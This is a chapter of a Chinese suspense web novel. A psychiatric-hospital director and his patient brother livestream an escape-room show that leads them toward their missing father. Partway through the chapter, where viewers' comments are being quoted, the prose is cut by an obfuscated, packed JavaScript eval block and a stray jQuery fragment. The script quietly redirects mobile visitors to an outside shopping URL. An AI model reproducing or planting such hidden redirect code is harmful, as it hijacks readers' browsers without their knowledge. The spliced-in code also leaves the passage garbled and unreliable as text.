---
陈墨穆在门口站了将近二十分钟，铁门才重新打开。
开门的是个女人，穿着护工的浅蓝色制服，约莫四十岁上下，脸盘圆润，嘴角习惯性地往下撇着，看人的时候目光从眼皮底下透出来，带着一种不咸不淡的审视。她手里捏着一串钥匙，比他早上看到的那串还要大一倍。
“陈院长？”她问，声音不冷不热。
“嗯。”
“进来吧。刘叔下班了，我替你开的门。”
她侧身让开半步，陈墨穆从她身边走过去，跨过门槛的时候闻到一股烟味，混在消毒水里面，又冲又呛。
“我姓冯，”女人说，跟在他身后两步远的位置，“护工，兼保洁，兼夜班看守。这院里现在就我一个职工，加上您。”
陈墨穆没停步，直接往里面走：“患者呢？”
“就一个。”
“我知道。他叫什么？”
冯护工在他身后顿了一下：“您不知道？”
陈墨穆回过头。
冯护工站在走廊灯光下，脸色被那盏惨白的灯照得有些发青，她看着他的眼神里多了一丝说不清的东西，像是试探，又像是确认。
“陈汐穆啊。”她说，“您弟。”
那三个字从她嘴里吐出来的时候，陈墨穆注意到她的嘴角不自觉地抽了一下，很快，但他看见了。
“他入院多久了？”
“比您早三天。”
“谁送来的？”
冯护工沉默了两秒：“一个男的，穿黑风衣，戴帽子，没看清脸。他把人扔门口就走了，留了一封信和一把钥匙。信上说，‘交给新来的院长’。”
“信呢？”
“在您办公室桌上，压在那把黄铜钥匙底下。”
陈墨穆转身往楼上走。冯护工站在原地没跟上来，只是在他身后补了一句：
“陈院长，二楼走廊尽头那间房，就是您弟住的那间。晚上没事别过去，他睡不好，醒了会砸东西。”
陈墨穆没有回头：“我知道了。”
他推开办公室的门，桌上那把黄铜钥匙还压在那儿，底下确实多了一封牛皮纸信。他拿起来拆开，里面只有一张信纸，没有抬头没有落款，只有四行字：
“陈墨穆收。
汐穆入院三天，已适应环境。
明早九点，第一场直播。
第二家园有且只有两名成员：院长陈墨穆，患者陈汐穆。
爸在看着你们。”
他把信纸翻过来，背面干干净净。
他把信折好，和那张纸条放在一起，锁进抽屉里。然后他坐下来，打开手机，直播间后台的界面还停在他离开前的状态。
他点进设置，把开播时间改成了明早八点五十分。
然后他关了手机，靠在椅背上，闭上了眼。
当天夜里两点十七分，陈墨穆被一声巨响惊醒。
他猛地睁开眼，发现自己不知道什么时候趴在桌上睡着了。那声巨响是从楼下传来的，像是什么重物被拖拽着砸在了地上，然后是玻璃碎裂的声音，细碎、连绵，像沙子撒在铁皮上。
他站起来，推开办公室门，走廊里一片漆黑。头顶的灯管全部熄了，只有尽头那扇窗户透进来一点月光，惨白的，在地板上铺了一小片。
他扶着栏杆往下看。
一楼地面上有一摊碎玻璃，月光照在上面，反出细碎的光。一个人影蹲在那摊碎玻璃旁边，低着头，肩膀微微耸动，像是在捡碎片。
陈墨穆没有出声，也没动。
人影蹲了一会儿，站起来，手里捏着一片碎玻璃。他转过头，仰着脸往二楼看。月光把他半边脸照亮了——陈汐穆的脸，白得发青，嘴角却弯着，像是在笑。
“哥，”他喊了一声，声音在空旷的走廊里荡开来，“你醒了？”
“你在干什么？”
陈汐穆低头看了看手里的碎玻璃，又抬起来，晃了晃：“窗户破了，我捡一下。别踩到。”
“哪扇窗户？”
“一楼走廊尽头那扇，就是门卫室旁边那个。”
陈墨穆从楼梯上走下去，脚踩在台阶上，每一步都发出吱呀的声响。他走到一楼，踩过那摊碎玻璃边缘，走到陈汐穆面前。
陈汐穆没穿鞋，光着脚站在地上，脚底板被玻璃碴划了两道口子，血混着灰尘在脚背上干了，凝成暗红色的痂。他手里捏着那片碎玻璃，捏得很紧，指节泛白。
“松手。”陈墨穆说。
陈汐穆低头看了看自己的手，像是才反应过来自己还攥着玻璃片。他松开手指，玻璃掉在地上，啪嗒一声碎了更小的一块。
“疼吗？”陈墨穆问。
陈汐穆低头看了看自己的脚，又抬起来看他，笑了一下：“不疼。”
“回去睡觉。”
“睡不着。”
“那也回去。”
陈汐穆站着没动。他歪着头看陈墨穆，月光从破掉的窗户外面灌进来，把他的脸照得半明半暗。他看了很久，然后问了一句：
“哥，你觉得爸真的死了吗？”
走廊里安静极了，连外面的风声都像是被关在了门外。陈墨穆看着面前的弟弟，十八岁的脸，十八岁的眼睛，里面装着的东西却像是一个活了很久很久的人才有的疲倦。
“你觉得呢？”陈墨穆反问。
陈汐穆笑了一下，那个笑里没有疯，没有癫，干干净净的，只是有点苦。
“我不知道。”他说，“但我每天半夜都会听到他在唱歌。”
“唱什么？”
陈汐穆闭上眼听了两秒，然后睁开：“你小时候哄我的那首。月亮船。”
陈墨穆沉默了。
他确实唱过。陈汐穆五岁那年夜里发高烧睡不着，他趴在床边给他哼过那首歌。那首歌是父亲教的。父亲说，这是他小时候外婆唱给他听的。
月光船，摇啊摇，摇到天边外婆桥……
他记不全词了。
但陈汐穆记得。
“你听他唱过几次？”
“每天半夜。”陈汐穆说，“两点到三点之间。有时候在走廊里，有时候在墙里面，有时候就在我耳朵边上。”
他指了指自己的耳廓：“像趴在这儿唱的。”
陈墨穆伸手，把他那只光脚从地上拎起来，看了看脚底的伤口。伤口不深，但沾了灰，得处理。
“跟我来。”他松开手，转身往楼上走。
陈汐穆跟在后面，光脚踩在台阶上，每一步都留下一个浅浅的血印。
陈墨穆回头看了一眼那些血印，又转回去，没有停。
他办公室里有一个小药箱，是他来的时候自己带的。他让陈汐穆坐在椅子上，自己蹲下去，用棉签蘸了碘伏给他擦脚底的伤口。
陈汐穆老老实实坐着，一动不动，低着头看他哥蹲在地上给他擦脚。灯管不知什么时候自己亮了，昏黄的光落下来，把两个人的影子打在墙上。
“哥，”陈汐穆开口，“明天直播怎么演？”
“该怎么样就怎么样。”
“那我演疯子？”
“你本来就是疯子，病历上写的。”
陈汐穆笑了一声，脚趾头动了动：“那你呢？”
“我演院长。”
“那不叫演。”陈汐穆低下头，凑近了一些，声音低下去，“你就是院长。”
陈墨穆给他贴好创可贴，站起来，把碘伏盖好放回药箱：“回去睡吧，天快亮了。”
陈汐穆站起来，光脚踩在地板上，走了两步，在门口停住了。他没回头，背对着陈墨穆，声音从门那边传过来，轻得像是自言自语：
“哥，明天第一关。”
“嗯？”
“爸说的第一关，是让我们找到他。”
“……”陈墨穆没有说话。
“他不在监控里。”陈汐穆说，“监控后面没有人。”
“那他在哪儿？”
陈汐穆没回答。他推开门走了出去，脚步声沿着走廊往远处去，越来越轻，最后被黑暗吞没了。
陈墨穆站在办公室里，看着敞开的门。
门外的走廊黑漆漆的，像是一条通往某个不知名地方的入口。他走过去，把门关上。
咔哒。
然后他转过身，目光落在了办公桌后面的那面墙上。
墙上挂着一面钟，指针指向凌晨三点十七分。钟下面，是他今天锁进抽屉的那张照片。他明明锁了，抽屉是关着的。
但照片现在挂在墙上。
照片上，父亲揽着两个儿子，对着镜头笑。
陈墨穆走过去，伸手把照片取下来，翻到背面。那行字还在——“爸爸先替你们住进去。”
他盯着那几个字看了很久。
然后他拿起笔，在那行字下面加了一行：
“那我们什么时候进去？”
他放下笔，把照片挂回墙上。
八点五十分。直播准时开启。
镜头对准的是二楼走廊，陈墨穆穿着白大褂站在镜头前，站得很直，脸上的表情是那种恰到好处的职业微笑。他对着镜头开口，声音平稳：
“大家好，我是院长陈墨穆。欢迎来到第二家园，全国首档真人密室逃脱直播。”
弹幕零星地飘过几条。然后，在几秒钟之内，涌入的速度陡然加快，密密麻麻地刷满了屏幕。
“来了来了来了！”
“疯人院直播？！真的假的？”
“卧槽院长好帅！”
“所以这真的是疯人院吗？”
陈墨穆没有看弹幕。他侧身让开，让镜头能拍到走廊尽头的病房门。
“今天我们要介绍的，是本院的唯一一名在院患者。”
门开了。
陈汐穆从门后走出来，歪着头，病号服松松垮垮地挂在身上，扣子扣错了一颗。他走到镜头前，站定，然后抬起眼，直直地盯着摄像头。
那双眼睛里什么都没有。空的。
“嗨。”他对着镜头笑了一下，嘴角弯到一个不太自然的弧度，“我叫陈汐穆。”
“大家早。”
弹幕静了一瞬。然后以更疯狂的速度翻涌起来。
“卧槽他好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731730|208966||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
吓人……”
“他说‘大家早’的时候好正常，但眼神不对……”
“我怎么觉得他在看屏幕外面的人……”
“有谁注意到他脚上贴了创可贴吗？”
陈汐穆像是看到弹幕了，他低头看了一眼自己脚上的创可贴，又抬起来，对着镜头说：
“昨晚踩到玻璃了。”
他笑了一下，补充道：
“我哥给我贴的。”
然后他转过头，看着陈墨穆，声音不大不小，刚好让麦克风收进去：
“哥，今天第一关是什么？”
陈墨穆看着弟弟的眼睛，沉默了两秒。
然后他说：“找爸爸。”
陈汐穆的笑意更深了一些。
走廊尽头，那扇紧闭的门后面，传来一声轻轻的响动。
像是有人在敲门。
陈墨穆转过头看向那扇门。
门缝底下，塞了一张纸条出来。
他走过去，蹲下，捡起来。
上面写着三个字：
“我在这儿。”
字迹，是他自己的。
陈墨穆攥着那张纸条站起来，面对着镜头。他的表情没有变，还是那个恰到好处的职业微笑。
但握着纸条的手指，在微微发抖。
弹幕安静了一瞬间。
然后——
“纸条写的什么？有没有人看到？”
“摄像是吃干饭的吗没特写？”
“院长手在抖！卧槽他手在抖！”
“这剧本写得好啊，悬疑感拉满了……”
“是剧本吗……我怎么觉得不是演的……”
陈墨穆把纸条折好放进白大褂口袋里。
他抬起头，对着镜头笑了一下：
“第一关开始了。”
“爸，我们来了。”
陈墨穆没有回头看陈汐穆，但他的手垂在身侧，被人轻轻碰了一下。陈汐穆的指尖从后面探过来，勾住了他的小拇指，短暂地、若有若无地勾了一下，然后松开了。
像是小时候在人多的地方走散了，重新找到彼此的时候，不说话，先碰一下手指头。确认一下。还在。
陈墨穆的指尖动了一下，但没有回握。
他迈开步子，走向走廊尽头那扇门。
陈汐穆跟在他身后。
弹幕还在刷。
直播间右上角的在线人数，从开播时的几万，跳到了十七万。
数字还在涨。
而那扇门后面的灯，在陈墨穆伸手握住门把的同一秒——
亮了。
门开了。
门后面是一条更长的走廊，比他们所在的这一条更窄，灯光更惨白，墙壁上贴满了照片。
每一张照片上都是同一个人。
父亲。
坐在办公桌后面的，站在窗边的，蹲在两个男孩中间的，对着镜头笑的，背对着镜头的——每一张，每一张都是陈厉声。
走廊尽头，放着一把空椅子。
椅子上摆着一件白大褂。
白大褂胸前，别着一张工牌。
工牌上写的是——
“患者：陈厉声。”
陈墨穆站在走廊入口，没动。
身后的陈汐穆，轻轻笑了一声。
他凑到陈墨穆耳边，呼吸落在他颈侧，声音又轻又凉：
“哥。”
“爸说对了。”
“第二家园的每一个角落，都关着一个人。”
“那个人是你。”
陈墨穆看着走廊尽头那把椅子。
他迈出了第一步。
直播间右上角，数字跳到了五十万。
那条走廊上的灯，在他走进去的瞬间，一盏接一盏地灭了。
陈墨穆被黑暗吞没之前，只来得及回头看了一瞬间。
陈汐穆站在走廊入口的光里，笑着朝他挥手。
嘴唇动了动。
那三个字是：
“别回头。”
镜头最后定格的画面，是陈墨穆的侧脸。
他在黑暗里转过头去，朝着走廊的尽头，一步一步走了进去。
门在他身后——
缓缓合上了。
---
章末钩子：
直播中断三分钟。
重新连上之后，画面换了角度。
监控室视角。
走廊里空无一人。
陈墨穆不见了。
陈汐穆也不见了。
但椅子上那件白大褂，换了个位置。
挂在了墙上。
工牌上多了一行手写的字：
“陈墨穆·入院时间：2026.7.15”
弹幕：
“等等……院长变成患者了？”
“那谁在监控室拍的？！”
“你往后看——”
镜头慢慢转动。
监控室角落里，坐着一个人。
穿黑风衣，戴着帽子。
他慢慢抬起头。
屏幕暗了。